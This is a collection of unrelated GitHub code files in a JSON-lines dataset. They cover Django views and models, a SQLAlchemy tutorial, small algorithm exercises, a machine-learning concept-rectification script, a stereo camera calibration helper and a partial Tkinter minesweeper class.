views\n\n#create the paths of the urls\n\nurlpatterns = [\n path('',views.home,name='home'),\n path('pictures/',views.pictures,name='pictures'),\n path('search/', views.search, name= 'search'),\n path('categories/', views.categories, name= 'category'),\n path('beach/', views.beach, name= 'beach')\n]","repo_name":"alphonce-otieno-odhiambo/PICTURE-GERLLARY","sub_path":"gallery/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19994412278","text":"__author__ = 'Bakaboykie'\n\nfrom django.db import models\nimport datetime\nfrom django.utils import timezone\n\nclass Waifu(models.Model):\n\n picture = models.ImageField(upload_to='waifu_profile_picture')\n\n name_alphabet = models.CharField(max_length=100, verbose_name='Name')\n name_nickname = models.CharField(max_length=100, blank=True, verbose_name='Nickname')\n name_kanji = models.CharField(max_length=100, blank=True, verbose_name='Name in Kanji')\n name_hiragana = models.CharField(max_length=100, blank=True, verbose_name='Name in Hiragana')\n name_katakana = models.CharField(max_length=100, blank=True, verbose_name='Name in Katakana')\n\n waifu_birthday = models.DateField(blank=True, null=True, auto_now=False, auto_now_add=False, verbose_name='Birthday')\n waifu_age = models.IntegerField(blank=True, null=True, verbose_name='Age')\n waifu_sign = models.CharField(max_length=30, blank=True, verbose_name='Sign')\n waifu_job = models.CharField(max_length=150, blank=True, verbose_name='Job')\n\n A = 'A'\n B = 'B'\n AB = 'AB'\n O = 'O'\n blood_type_choices = (\n (A, 'Blood Type A'),\n (B, 'Blood Type B'),\n (AB, 'Blood Type AB'),\n (O, 'Blood type O')\n )\n\n blood_type = models.CharField(blank=True, max_length=2, choices=blood_type_choices, default=4, verbose_name='Blood Type')\n\n waifu_height = models.IntegerField(blank=True, null=True, verbose_name='Height (cm)')\n waifu_weight = models.IntegerField(blank=True, null=True, verbose_name='Weight (kg)')\n\n waifu_bust = models.IntegerField(blank=True, null=True, verbose_name='Bust Size (cm)')\n waifu_waist = models.IntegerField(blank=True, null=True, verbose_name='Waist Size (cm)')\n waifu_hip = models.IntegerField(blank=True, null=True, verbose_name='Hip Size (cm)')\n\n series_alphabet = models.CharField(max_length=100, blank=True, verbose_name='Series Name')\n series_japanese = models.CharField(max_length=100, blank=True, verbose_name='Series Name (Japanese)')\n\n waifu_description = models.TextField(max_length=10000, blank=True, verbose_name='Description')\n\n # This is not editable!\n date_uploaded = models.DateField(auto_now_add=False, null=True, verbose_name='Upload Date')\n\n # downloaded x times\n count_favorited = models.IntegerField(blank=True, null=True, verbose_name=\"Times Favorited\")\n count_downloaded = models.IntegerField(blank=True, null=True, verbose_name=\"Times Downloaded\")\n # mal page rip text\n # all other misc variables\n\n def admin_image(self):\n return '' % self.picture.url\n admin_image.allow_tags = True\n\n def __str__(self):\n return self.name_alphabet\n\n def was_published_recently(self):\n now = timezone.now()\n return now - datetime.timedelta(days=1) <= self.date_uploaded < now\n\n\nclass WaifuAssetClientPicture(models.Model):\n\n waifu = models.ForeignKey(Waifu)\n name = models.CharField(max_length=100)\n picture = models.ImageField(upload_to='waifu_pictures')\n\n file_checked = models.BooleanField(default=False)\n\n date_uploaded = models.DateField(auto_now_add=False, null=True, verbose_name='Upload Date')\n\n def admin_image(self):\n return '' % self.picture.url\n admin_image.allow_tags = True\n\n\nclass WaifuAssetFileStorage(models.Model):\n\n waifu = models.ForeignKey(Waifu)\n name = models.CharField(max_length=100)\n file = models.FileField(upload_to='waifu_files')\n\n file_checked = models.BooleanField(default=False)\n\n date_uploaded = models.DateField(auto_now_add=False, null=True, verbose_name='Upload Date')\n\n def admin_display(self):\n return '%s' % (self.file.url, self.file.name)\n admin_display.allow_tags = True","repo_name":"bryciemicie/PWDB_server_source_code","sub_path":"Project_WaifuDB/assets/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"18522882752","text":"#!/usr/bin/py\nimport sys\n\nkALPHABETS_COUNT = 26\n\n\ndef ispangram(line):\n \"\"\"\n is pangram\n return: True if line contains all alphabets, false otherwise\n \"\"\"\n # remove all special characters and keep only alphabets\n line = ''.join(e for e in line if e.isalpha())\n alphabets = set()\n for c in line:\n alphabets.add(c)\n\n # print(alphabets)\n # print('set count = %d, chars in line = %d' % (len(alphabets), len(line)))\n return len(alphabets) == kALPHABETS_COUNT\n\n\nif __name__ == '__main__':\n line = sys.stdin.readline()\n if ispangram(line.lower()):\n print('pangram')\n else:\n print('not pangram')\n","repo_name":"Sunhick/hacker-rank","sub_path":"Algorithms/String/Pangrams.py","file_name":"Pangrams.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"28032283019","text":"from sqlalchemy import Column, Table, MetaData, Integer, String, ForeignKey, create_engine\nfrom sqlalchemy import select\n\nengine = create_engine(\"sqlite:///:memory:\",echo=True) #using the inmemory sql database, also echo for outputing the raw sql statements\nmetadata = MetaData()\n\nusers = Table(\"users\",metadata,\nColumn(\"id\",Integer, primary_key = True),\nColumn(\"name\",String),\nColumn(\"full_name\",String),\n)\n\naddresses = Table(\"addresses\",metadata,\nColumn(\"id\",Integer,primary_key=True),\nColumn(\"user_id\",None,ForeignKey(\"users.id\")),\nColumn(\"email_address\",String,nullable=False),\n)\n\nmetadata.create_all(engine) #method to create all the tables\n\n#executing the insert statement\n\nins = users.insert()#targeting the users table while providing the values\n\ncon = engine.connect() #connecting to the database actually\ncon.execute(ins, [\n{\"name\" : \"foo\",\"full_name\":\"foo bar\"},\n{\"name\" : \"foo 1\",\"full_name\":\"foo bar 1\"},\n{\"name\" : \"foo 2\",\"full_name\":\"foo bar 2\"},\n{\"name\" : \"foo 3\",\"full_name\":\"foo bar 3\"},\n{\"name\" : \"foo 4\",\"full_name\":\"foo bar 4\"}\n]) #executing the bulk insert using multiple data dictionaries in the execute statement\n\naddress_ins = addresses.insert()\ncon.execute(address_ins, [\n{\"user_id\" : 1,\"email_address\":\"foo1@somewhere.com\"},\n\n{\"user_id\" : 1,\"email_address\":\"foo1email2@somewhere.com\"},\n\n{\"user_id\" : 2,\"email_address\":\"foo2email1@somewhere.com\"},\n\n{\"user_id\" : 3,\"email_address\":\"foo3email1@somewhere.com\"},\n\n{\"user_id\" : 4,\"email_address\":\"foo4email1@somewhere.com\"},\n\n{\"user_id\" : 5,\"email_address\":\"foo5email1@somewhere.com\"},\n\n]) #executing the bulk insert using multiple data dictionaries in the execute statement\n\n\n#select statements\n\nselect_st = select([users.c.name,users.c.full_name]) #specify the columns using the c attribute of the table object where columns of the table are the attributes of the c object\nresult = con.execute(select_st)\nfor row in result:\n print(\"name: %s, full_name: %s\"% (row[\"name\"],row[\"full_name\"])) #print the values in the row by the named columns we can also use the indexes like\n\nresult.close() #its good to close the result to discard the pending rows\n\nresult = con.execute(select_st)\nfor row in result:\n print(\"name: %s, full_name: %s\"% (row[0], row[1])) # print the rows using the indexes\n\nresult.close()\n\n#select statement with join\nselect_st = select([users.c.name, users.c.full_name, addresses.c.user_id, addresses.c.email_address]).where(users.c.id==addresses.c.user_id) #here without the where clause will give the Cartesian product of the users with that of the addresses.\n#selecting with the join\nresult = con.execute(select_st)\nfor row in result:\n print(\"name: %s, full_name: %s, user_id: %s, email_address: %s\"% (row[\"name\"], row[\"full_name\"], row[\"user_id\"], row[\"email_address\"])) # print the rows using the indexes\n\nresult.close() #closed the result\n\n\n\n","repo_name":"tusharcoder/learn_sqlalchemy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37259712004","text":"from main import b_feed_func, stop_func\nfrom apihost import apifunc, apihold\nimport ray.remote_function\nimport time\nray.init()\n\n\n\n@ray.remote\ndef func1():\n b_feed_func()\n if b_feed_func() == 0:\n print('... Exit')\n\n\n\n\n@ray.remote\ndef func2():\n while True:\n apifunc()\n\n\n\n\n\n\n\n\n\nret_id1 = func1.remote()\nret_id2 = func2.remote()\n\n#ret1, ret2 = ray.get([ret_id1, ret_id2])\nret1 = ray.get([ret_id1])\n\n\n\n\n","repo_name":"rukamiTambova/clap-and-knock","sub_path":"multiproc.py","file_name":"multiproc.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"7255548755","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/python\n\nimport sys\nimport os\nimport unittest\n\nparent = os.path.dirname(os.getcwd())\nsys.path.append(parent)\n\n\nfrom logger import Logger\n\n\nclass LoggerTest(unittest.TestCase):\n logger = Logger()\n\n def test_get_prefix(self):\n prefix = self.logger._get_prefix(msg_type=self.logger.type_info)\n self.assertEqual('[INFO]: ', prefix)\n prefix = self.logger._get_prefix(msg_type=self.logger.type_warn)\n self.assertEqual('[WARN]: ', prefix)\n prefix = self.logger._get_prefix(msg_type=self.logger.type_ok)\n self.assertEqual('[✔]: ', prefix)\n prefix = self.logger._get_prefix(msg_type=self.logger.type_err)\n self.assertEqual('[❌]: ', prefix)\n print((\"test get prefix ... [ok]\"))\n\n def test_get_color(self):\n \"\"\" change colors here when colors are changed in service \"\"\"\n color = self.logger._get_color(msg_type=self.logger.type_info)\n self.assertEqual('cyan', color)\n color = self.logger._get_color(msg_type=self.logger.type_warn)\n self.assertEqual('yellow', color)\n color = self.logger._get_color(msg_type=self.logger.type_ok)\n self.assertEqual('green', color)\n color = self.logger._get_color(msg_type=self.logger.type_err)\n self.assertEqual('red', color)\n print((\"test get color ... [ok]\"))\n\n def test_logs(self):\n self.logger.info(text='test text cyan')\n self.logger.warn(text='test text yellow')\n self.logger.err(text='test text red')\n self.logger.ok(text='test text green')\n self.logger.log(text='test text white')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"r00tkid/mr_logger","sub_path":"mr_logger/tests/logger_test.py","file_name":"logger_test.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3319495115","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def deepestLeavesSum(self, root: Optional[TreeNode]) -> int:\n \n \n deq = deque([root])\n deepestLevel = []\n \n def getLatestLevel():\n temp = []\n for i in range(len(deq)):\n temp.append(deq[i].val)\n \n return temp \n\n \n while deq:\n \n deepestLevel = getLatestLevel()\n \n for _ in range(len(deq)):\n \n currNode = deq.popleft()\n \n deq.append(currNode.left) if currNode.left else None\n deq.append(currNode.right) if currNode.right else None\n \n \n return sum(deepestLevel)","repo_name":"ElsaiDeribu/Leetcode-Questions","sub_path":"1302-deepest-leaves-sum/1302-deepest-leaves-sum.py","file_name":"1302-deepest-leaves-sum.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"28361022622","text":"import os\r\nimport sys\r\nimport sklearn\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import pearsonr, spearmanr\r\nfrom sklearn.metrics import mean_squared_error, precision_recall_fscore_support, accuracy_score, precision_score, recall_score, balanced_accuracy_score, classification_report\r\nimport torch.nn.functional as F\r\nimport torch\r\nfrom tqdm import tqdm\r\nfrom utils.dataset import load_data\r\nfrom utils.config import BASE_DIR, N_ATTRIBUTES\r\nfrom utils.analysis import Logger, AverageMeter, multiclass_metric, accuracy, binary_accuracy, js_div\r\nfrom sklearn.metrics import roc_auc_score, roc_curve\r\nimport torch.nn as nn\r\nimport math\r\nfrom time import time\r\nimport pickle as pkl\r\n\r\nimport argparse\r\nclass Decoupling(nn.Module):\r\n def __init__(self, dim_explicit, dim_implicit):\r\n super(Decoupling, self).__init__()\r\n self.layers = nn.Sequential(\r\n nn.Linear(dim_explicit, 100),\r\n nn.ReLU(),\r\n nn.Linear(100, 100),\r\n nn.ReLU(),\r\n nn.Linear(100, 100),\r\n nn.ReLU(),\r\n nn.Linear(100, dim_implicit))\r\n\r\n def forward(self, x):\r\n return self.layers(x)\r\ndef parse_arguments():\r\n parser = argparse.ArgumentParser(description='PyTorch Training')\r\n \r\n parser.add_argument('dataset', type=str, help='Name of the dataset.')\r\n parser.add_argument('-log_dir', default=None, help='where the trained model is saved')\r\n parser.add_argument('-log_dir2', default=None, nargs='+', help='inference log directory')\r\n parser.add_argument('-batch_size', '-b', type=int, help='mini-batch size')\r\n parser.add_argument('-epochs', '-e', type=int, help='epochs for training process')\r\n parser.add_argument('-seed', type=int, help='seed')\r\n\r\n parser.add_argument('-lr1', type=float, help=\"learning rate\")\r\n parser.add_argument('-lr2', type=float, help=\"learning rate\")\r\n parser.add_argument('-cuda_device', default=0, type=int, help='which cuda device to use')\r\n parser.add_argument('-use_cuda', default=True, type=bool, help='where to use cuda')\r\n parser.add_argument('-n_attributes', type=int, default=112,\r\n help='whether to apply bottlenecks to only a few attributes')\r\n parser.add_argument('-use_attr', action='store_true',\r\n help='whether to use attributes (FOR COTRAINING ARCHITECTURE ONLY)')\r\n parser.add_argument('-n_class_attr', type=int, default=2,\r\n help='whether attr prediction is a binary or triary classification')\r\n parser.add_argument('-no_img', action='store_true',\r\n help='if included, only use attributes (and not raw imgs) for class prediction')\r\n parser.add_argument('-data_dir', default='official_datasets', help='directory to the training data')\r\n parser.add_argument('-image_dir', default='images', help='test image folder to run inference on')\r\n parser.add_argument('-model_dir', default='', help='choose which model to intervene/rectify')\r\n parser.add_argument('-model_dir2', default=None, nargs='+', help='choose which model to intervene/rectify')\r\n\r\n parser.add_argument('-optimizer', default='SGD', help='Type of optimizer to use, options incl SGD, RMSProp, Adam')\r\n parser.add_argument('-ckpt', default='', help='For retraining on both train + val set')\r\n parser.add_argument('-inference', action='store_true',\r\n help='Whether to infer')\r\n parser.add_argument('-use_relu', action='store_true',\r\n help='Whether to include relu activation before using attributes to predict Y. '\r\n 'For end2end & bottleneck model')\r\n parser.add_argument('-use_sigmoid', action='store_true',\r\n help='Whether to include sigmoid activation before using attributes to predict Y. '\r\n 'For end2end & bottleneck model')\r\n parser.add_argument('-concept_percent', type=int,\r\n choices=[100, 50, 40, 30, 20, 10],\r\n default=100,\r\n help='Use how many concepts.')\r\n args = parser.parse_args()\r\n return args\r\n \r\ndef data_gradients(loader, model):\r\n c_explicit = []\r\n y = []\r\n c_truth = []\r\n y_explicit = []\r\n y_implicit = []\r\n y_truth = []\r\n c_implicit = []\r\n for data_idx, data in tqdm(enumerate(loader)):\r\n inputs, labels, attr_labels = data\r\n inputs_var = torch.autograd.Variable(inputs).to(args.device)\r\n attr_labels = torch.stack(attr_labels).t() # N x 312\r\n outputs = model(inputs_var)\r\n attr_outputs = outputs[2]\r\n c_explicit.extend([attr_outputs.detach()])\r\n y.extend([outputs[1].detach() + outputs[3].detach()])\r\n y_explicit.extend([outputs[1].detach()])\r\n y_implicit.extend([outputs[3].detach()])\r\n c_implicit.extend([outputs[4].detach()])\r\n y_truth.extend([labels])\r\n c_truth.extend([attr_labels])\r\n c_explicit = torch.cat(c_explicit, dim=0)\r\n c_implicit = torch.cat(c_implicit, dim=0)\r\n y = torch.cat(y, dim=0)\r\n y_explicit = torch.cat(y_explicit, dim=0)\r\n y_implicit = torch.cat(y_implicit, dim=0)\r\n y_truth = torch.cat(y_truth, dim=0)\r\n c_truth = torch.cat(c_truth, dim=0)\r\n return c_explicit, c_implicit, y, y_explicit, y_implicit, y_truth, c_truth\r\n\r\nif __name__ == '__main__':\r\n args = parse_arguments()\r\n\r\n cuda_name = \"cuda:0\"\r\n device = torch.device(\"cuda:\" + str(args.cuda_device) if args.use_cuda else \"cpu\")\r\n args.device = device\r\n \r\n criterion = torch.nn.CrossEntropyLoss()\r\n\r\n\r\n np.random.seed(args.seed)\r\n torch.manual_seed(args.seed)\r\n model = torch.load(args.model_dir, map_location=cuda_name)\r\n model.eval() \r\n \r\n W_explicit = model.sub_models.sub_model1.linear.weight.detach()\r\n b_explicit = model.sub_models.sub_model1.linear.bias.detach()\r\n W_implicit = model.sub_models.sub_model2.linear.weight.detach()\r\n b_implicit = model.sub_models.sub_model2.linear.bias.detach()\r\n \r\n train_data_dir = os.path.join(BASE_DIR, args.data_dir, 'train.pkl')\r\n val_data_dir = os.path.join(BASE_DIR, args.data_dir, 'val.pkl')\r\n test_data_dir = os.path.join(BASE_DIR, args.data_dir, 'test.pkl')\r\n train_loader = load_data([train_data_dir], args.use_attr, args.no_img, args.batch_size, image_dir=args.image_dir, n_class_attr=args.n_class_attr, concept_percent = args.concept_percent, dataset=args.dataset, training_opt=False)\r\n \r\n test_loader = load_data([test_data_dir], args.use_attr, args.no_img, args.batch_size, image_dir=args.image_dir, n_class_attr=args.n_class_attr, concept_percent = args.concept_percent, dataset=args.dataset, training_opt=False)\r\n \r\n logger = Logger(os.path.join(args.log_dir, 'log_rec.txt'))\r\n logger.write(str(args) + '\\n')\r\n logger.flush()\r\n\r\n \r\n test_c_explicit, test_c_implicit, test_y, test_y_explicit, test_y_implicit, test_y_truth, test_c_truth = data_gradients(test_loader, model)\r\n ### TEST\r\n \r\n d_f = torch.load(os.path.join(args.log_dir, 'mine.pth'), map_location=cuda_name)\r\n\r\n acc_list = []\r\n all_origin_list = []\r\n all_origin_to01_list = []\r\n all_predict_list = []\r\n all_predict_to01_list = []\r\n all_predict2_list = []\r\n all_predict2_to01_list = []\r\n all_truth_list = []\r\n t = 0\r\n num = 0\r\n for anchor in range(len(test_y)):\r\n c0 = test_c_explicit.clone().detach()\r\n c_explicit_var = torch.autograd.Variable(c0.clone().detach()).to(args.device)\r\n c_explicit_var.requires_grad = True\r\n # optimizer = torch.optim.SGD([c_explicit_var], lr=0.025, momentum=0.9, weight_decay=0)\r\n optimizer = torch.optim.Adam([c_explicit_var], lr=0.025, weight_decay=0) \r\n alpha = 0\r\n\r\n if accuracy(test_y[anchor].unsqueeze(0), test_y_truth[anchor].unsqueeze(0), args, topk=[1])[0][0].data.cpu().numpy() != 0:\r\n continue\r\n \r\n test_c_sigmoid = torch.nn.Sigmoid()(c0)\r\n acc = binary_accuracy(test_c_sigmoid[anchor, :], test_c_truth[anchor, :])\r\n origin_acc = acc.data.cpu().numpy()\r\n \r\n all_truth_list.extend(list(test_c_truth[anchor, :].data.cpu().numpy()))\r\n all_origin_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n test_c_sigmoid = torch.sign(test_c_sigmoid - 0.5)\r\n test_c_sigmoid = (test_c_sigmoid + 1.0) / 2\r\n all_origin_to01_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n for step in range(args.epochs):\r\n test_c_sigmoid = torch.nn.Sigmoid()(c0)\r\n if step != 0:\r\n pre_loss = loss.item()\r\n l1 = criterion((c_explicit_var[anchor].matmul(W_explicit.T) + b_explicit + test_y_implicit[anchor]).unsqueeze(0), test_y_truth[anchor].unsqueeze(0).to(args.device))\r\n\r\n l2 = alpha * torch.norm(c_explicit_var[anchor] - c0[anchor]) ** 2\r\n loss = l1 + l2\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n\r\n if (step > 10) and (abs(pre_loss - loss.item()) <= 10e-5):\r\n break\r\n\r\n test_c_sigmoid = torch.nn.Sigmoid()(c_explicit_var)\r\n acc = binary_accuracy(test_c_sigmoid[anchor, :], test_c_truth[anchor, :])\r\n acc = acc.data.cpu().numpy()\r\n\r\n all_predict_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n test_c_sigmoid = torch.sign(test_c_sigmoid - 0.5)\r\n test_c_sigmoid = (test_c_sigmoid + 1.0) / 2\r\n all_predict_to01_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n # with decouple\r\n num += 1\r\n t0 = time()\r\n \r\n c0 = test_c_explicit.clone().detach()\r\n c_explicit_var2 = torch.autograd.Variable(c0.clone().detach()).to(args.device)\r\n c_implicit_var2 = torch.autograd.Variable(test_c_implicit.clone().detach()).to(args.device)\r\n c_explicit_var2.requires_grad = True\r\n \r\n # optimizer2 = torch.optim.SGD([c_explicit_var2], lr=0.025, momentum=0.9, weight_decay=0)\r\n optimizer2 = torch.optim.Adam([c_explicit_var2], lr=0.025, weight_decay=0)\r\n mapping_test_explicit = d_f(c_explicit_var2)\r\n residual_test_implicit = (c_implicit_var2 - mapping_test_explicit).detach()\r\n\r\n for step in range(args.epochs):\r\n test_c_sigmoid = torch.nn.Sigmoid()(c0)\r\n if step != 0:\r\n pre_loss2 = loss2.item()\r\n mapping_test_explicit = d_f(c_explicit_var2)\r\n c_implicit_new = mapping_test_explicit + residual_test_implicit\r\n l3 = criterion((c_explicit_var2[anchor].matmul(W_explicit.T) + b_explicit + b_implicit + c_implicit_new[anchor].matmul(W_implicit.T)).unsqueeze(0), test_y_truth[anchor].unsqueeze(0).to(args.device))\r\n\r\n l4 = alpha * torch.norm(c_explicit_var2[anchor] - c0[anchor]) ** 2\r\n loss2 = l3 + l4\r\n optimizer2.zero_grad()\r\n loss2.backward()\r\n optimizer2.step()\r\n if (step > 10) and (abs(pre_loss2 - loss2.item()) <= 10e-5):\r\n break\r\n\r\n test_c_sigmoid = torch.nn.Sigmoid()(c_explicit_var2)\r\n acc2 = binary_accuracy(test_c_sigmoid[anchor, :], test_c_truth[anchor, :])\r\n acc2 = acc2.data.cpu().numpy()\r\n all_predict2_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n # origin_auc = roc_auc_score(test_c_truth[anchor, :].data.cpu().numpy(), test_c_sigmoid[anchor, :].data.cpu().numpy())\r\n test_c_sigmoid = torch.sign(test_c_sigmoid - 0.5)\r\n test_c_sigmoid = (test_c_sigmoid + 1.0) / 2\r\n all_predict2_to01_list.extend(list(test_c_sigmoid[anchor, :].data.cpu().numpy()))\r\n \r\n logger.write('Anchor: %d, origin acc: %.4f, rec acc: %.4f, dec acc: %.4f\\n' % (anchor, origin_acc, acc, acc2))\r\n logger.flush()\r\n acc_list.append([origin_acc, acc, acc2])\r\n \r\n t1 = time()\r\n t += (t1 - t0)\r\n \r\n \r\n acc_list = np.array(acc_list)\r\n acc_mean = acc_list.mean(axis=0)\r\n origin_auc = roc_auc_score(all_truth_list, all_origin_list)\r\n auc = roc_auc_score(all_truth_list, all_predict_list)\r\n auc2 = roc_auc_score(all_truth_list, all_predict2_list)\r\n \r\n predict_explicitrong_num = np.sum((np.array(all_truth_list) != np.array(all_origin_to01_list)))\r\n rec_correct = np.sum((np.array(all_predict_to01_list) != np.array(all_origin_to01_list)) * (np.array(all_truth_list) != np.array(all_origin_to01_list)) )\r\n rec_explicitrong = np.sum((np.array(all_predict_to01_list) != np.array(all_origin_to01_list)) * (np.array(all_truth_list) == np.array(all_origin_to01_list)) )\r\n dec_correct = np.sum((np.array(all_predict2_to01_list) != np.array(all_origin_to01_list)) * (np.array(all_truth_list) != np.array(all_origin_to01_list)) )\r\n dec_explicitrong = np.sum((np.array(all_predict2_to01_list) != np.array(all_origin_to01_list)) * (np.array(all_truth_list) == np.array(all_origin_to01_list)) )\r\n \r\n origin_fpr, origin_tpr, origin_thresholds = roc_curve(all_truth_list, all_origin_to01_list, pos_label=1)\r\n origin_fpr = origin_fpr[1]\r\n origin_tpr = origin_tpr[1]\r\n fpr, tpr, thresholds = roc_curve(all_truth_list, all_predict_to01_list, pos_label=1)\r\n fpr = fpr[1]\r\n tpr = tpr[1]\r\n fpr2, tpr2, thresholds2 = roc_curve(all_truth_list, all_predict2_to01_list, pos_label=1)\r\n fpr2 = fpr2[1]\r\n tpr2 = tpr2[1]\r\n \r\n logger.write('origin acc: %.4f, rec acc: %.4f, dec acc: %.4f\\norigin AUC: %.4f, rec AUC: %.4f, dec AUC: %.4f\\norigin FPR: %.4f, rec FPR: %.4f, dec FPR: %.4f\\norigin TPR: %.4f, rec TPR: %.4f, dec TPR: %.4f\\n' % (acc_mean[0], acc_mean[1], acc_mean[2], origin_auc, auc, auc2, origin_fpr, fpr, fpr2, origin_tpr, tpr, tpr2))\r\n logger.write('total num: %d, predict wrong num: %d, rec correct: %d, rec wrong %d, dec correct: %d, dec wrong %d\\n' % (len(all_truth_list), predict_explicitrong_num, rec_correct, rec_explicitrong, dec_correct, dec_explicitrong))\r\n logger.write('time: %.4fs\\n' % (t/num))\r\n \r\n\r\n","repo_name":"deepopo/DCBM","sub_path":"rec.py","file_name":"rec.py","file_ext":"py","file_size_in_byte":14184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39195699627","text":"import os\nimport cv2\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef camera_calibration(f,camPx,camRes,So,theta):\n\n with open('blank_calibration.caldat','r') as file:\n blank = file.readlines()\n\n blank = [line.strip('\\n').split(';') for line in blank]\n \n # focal length\n focalLength = f'{round(f/camPx):.1f}'\n blank[0][-1] = focalLength\n blank[1][-1] = focalLength\n blank[10][-1] = focalLength\n blank[11][-1] = focalLength\n\n # image plane center\n camC = camRes/2\n blank[8][-1] = str(camC[0])\n blank[9][-1] = str(camC[1])\n blank[18][-1] = str(camC[0])\n blank[19][-1] = str(camC[1])\n\n # camera distance in Y-direction\n Ty = round(So*math.sin(math.radians(theta)))\n blank[21][-1] = f'{Ty:.1f}'\n\n # stereo-angle\n blank[23][-1] = f'{theta:.1f}'\n \n with open('calibration.caldat','w') as file:\n for line in blank:\n file.write(f'{\";\".join(line)}\\n')\n \n return\n\ndef speckle_image(camRes):\n\n ref_img = cv2.imread('speckle_patterns\\\\ref_speckle_1.bmp',0)\n\n new_img = ref_img[0:camRes[1],0:camRes[0]]\n\n cv2.imwrite('speckle.bmp',new_img)\n\n plt.figure()\n plt.imshow(new_img,cmap='gray')\n plt.show()\n\ndef main():\n\n # +++ INPUT +++\n\n # Object\n fov = [76,76+30] # field-of-view in milimeters\n \n # Lenses\n f = 50.0 # focal length in milimeters\n mwd = 450.0 # minimum working distance in milimeters\n mag = 0.0\n\n # Camera\n res_px = np.array([1392,1040]) # camera spatial resolution in pixel\n px = 6.45 # camera pixel size in micrometer\n\n res_mm = res_px * px * 10**-3\n \n # Object Distace\n So = max(fov)*f/max(res_mm)\n\n # generate reference speckle image \n speckle_image(res_px)\n\n # generate camera calibration files\n theta = 15\n camera_calibration(f,px,res_px,So,theta)\n\n print(f'Estimated Object Distance = {So:.3f} mm')\n\n # open MatchID Stereo\n os.system('matchidstereo')\n\n return\n\nif __name__ == '__main__':\n main()","repo_name":"migueljgoliveira/stereo-vision-simulator","sub_path":"Stereo_DIC_Simulator.py","file_name":"Stereo_DIC_Simulator.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1208001218","text":"from tkinter import Button\nimport random\nimport settings\n\n### Step 7 | Add the abilty to print information upon left and right clicks\n### Step 8 | Adjust the button sizes\n### Step 9 | Create an attribute x,y that is assigned to cell value instead of 'text'\n### Step 10 | Create a static method for radomization of mines, create a list to hold attributes of cells, crete a repr method to display attributes in a neater format\n### Step 11 | Add logic into static method to pick a random attributes from Cell.all list and change them to True.\n### Step 12 | Set the mine count within settings.py to be dynamic \n### Step 13 | Add the algorithm for left-clicking a cell\n### Step 14 | Complete show_cell method to get attributes of 8 cells surronding clicked cell\n### Step 15 | Create a list comprehension to eliminate the output of None for the show_cell method\n### Step 16 | Create a seperate method for surrounded_cells and make it a read only property / attribute\n### Step 17 | Create a method to count and print each mine adjacent to cell\n### Step 18 | Display the amount of mines adjacent to each cell to the button \n\nclass Cell:\n all = [] ### Step 10\n \n def __init__(self, x, y, is_mine=False): # Constructor Class\n self.is_mine = is_mine\n self.cell_btn_object = None\n self.x = x\n self.y = y\n Cell.all.append(self) ### Step 10\n\n def create_btn_object(self, location):\n btn = Button(\n location,\n width=12, ### Step 8\n height=4, ### Step 8\n # text=f\"{self.x}, {self.y}\" ### Step 9 - Also added attibutes x,y in constructor \n )\n btn.bind('', self.left_click_actions) # Binds to left click\n btn.bind('', self.right_click_actions) # Binds to right click\n self.cell_btn_object = btn\n\n\n def left_click_actions(self, event):\n if self.is_mine:\n self.show_mine()\n else:\n self.show_cell()\n \n def get_cell_by_axis(self, x, y):\n # return a cell object based on the value of x,y\n for cell in Cell.all:\n if cell.x == x and cell.y == y:\n return cell\n\n @property ### Step 16\n def surrounded_cells(self):\n cells = [\n self.get_cell_by_axis(self.x - 1, self.y - 1),\n self.get_cell_by_axis(self.x - 1, self.y),\n self.get_cell_by_axis(self.x - 1, self.y + 1),\n self.get_cell_by_axis(self.x, self.y - 1),\n self.get_cell_by_axis(self.x + 1, self.y - 1),\n self.get_cell_by_axis(self.x +1, self.y),\n self.get_cell_by_axis(self.x + 1, self.y + 1),\n self.get_cell_by_axis(self.x, self.y + 1)\n ]\n cells = [cell for cell in cells if cell is not None]\n return cells\n\n @property ### Step 17\n def surrounded_cells_mines_length(self):\n counter = 0\n for cell in self.surrounded_cells:\n if cell.is_mine:\n counter += 1\n \n return counter\n\n def show_cell(self): ### Step 14\n\n self.cell_btn_object.configure(text=self.surrounded_cells_mines_length)\n\n def show_mine(self): ### Step 13\n # A logic to interrupt the game and display a message that player lost!\n self.cell_btn_object.configure(bg='red')\n\n def right_click_actions(self, event):\n print(event)\n print(\"You have right clicked the button!\")\n \n @staticmethod ### Step 10\n def randomize_mines(): ### Step 11\n 